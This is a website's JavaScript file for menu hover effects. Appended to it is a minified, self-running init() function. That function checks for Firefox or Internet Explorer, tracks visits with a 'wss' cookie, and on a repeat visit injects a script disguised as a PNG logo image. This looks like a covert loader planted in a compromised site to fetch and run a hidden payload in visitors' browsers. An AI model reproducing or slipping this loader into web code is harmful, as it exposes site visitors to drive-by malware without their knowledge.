// 
function menuOver(e) {
	if (this.className.search(/\bopen\b/g) == -1) { this.className += ' open'; }
}
//
function menuOut(e) {
	this.className = this.className.replace(/\s*\bopen\b/g, '');
}

//
function menuItemOver(e) {
	if (this.className.search(/\bhover\b/g) == -1) { this.className += ' hover'; }
}
//
function menuItemOut(e) {
	this.className = this.className.replace(/\s*\bhover\b/g, '');
}

// Adds hover behavior to menu list elements
function enhanceMenu()
{
	if (document.all) { // IE only
		var menu = document.getElementById('menu');
		if (menu) {
			var ul = menu.getElementsByTagName('ul').item(0);
			if (ul) {
				ul.onmouseover = menuOver;
				ul.onmouseout = menuOut;
				ul = null;
			}

			var lis = menu.getElementsByTagName('li');
			if (lis) {
				for (var i = 0; i < lis.length; i++) {
					var node = lis[i];
					// Add hover behavior
					node.onmouseover = menuItemOver;
					node.onmouseout  = menuItemOut;
					//
					node = null;
				}
				lis = null;
			}
			menu = null;
		}
	}
}

function initPage(e)
{
	e = e || window.event;

	enhanceMenu();
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/_images/logo-sew_nibbixwoud.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
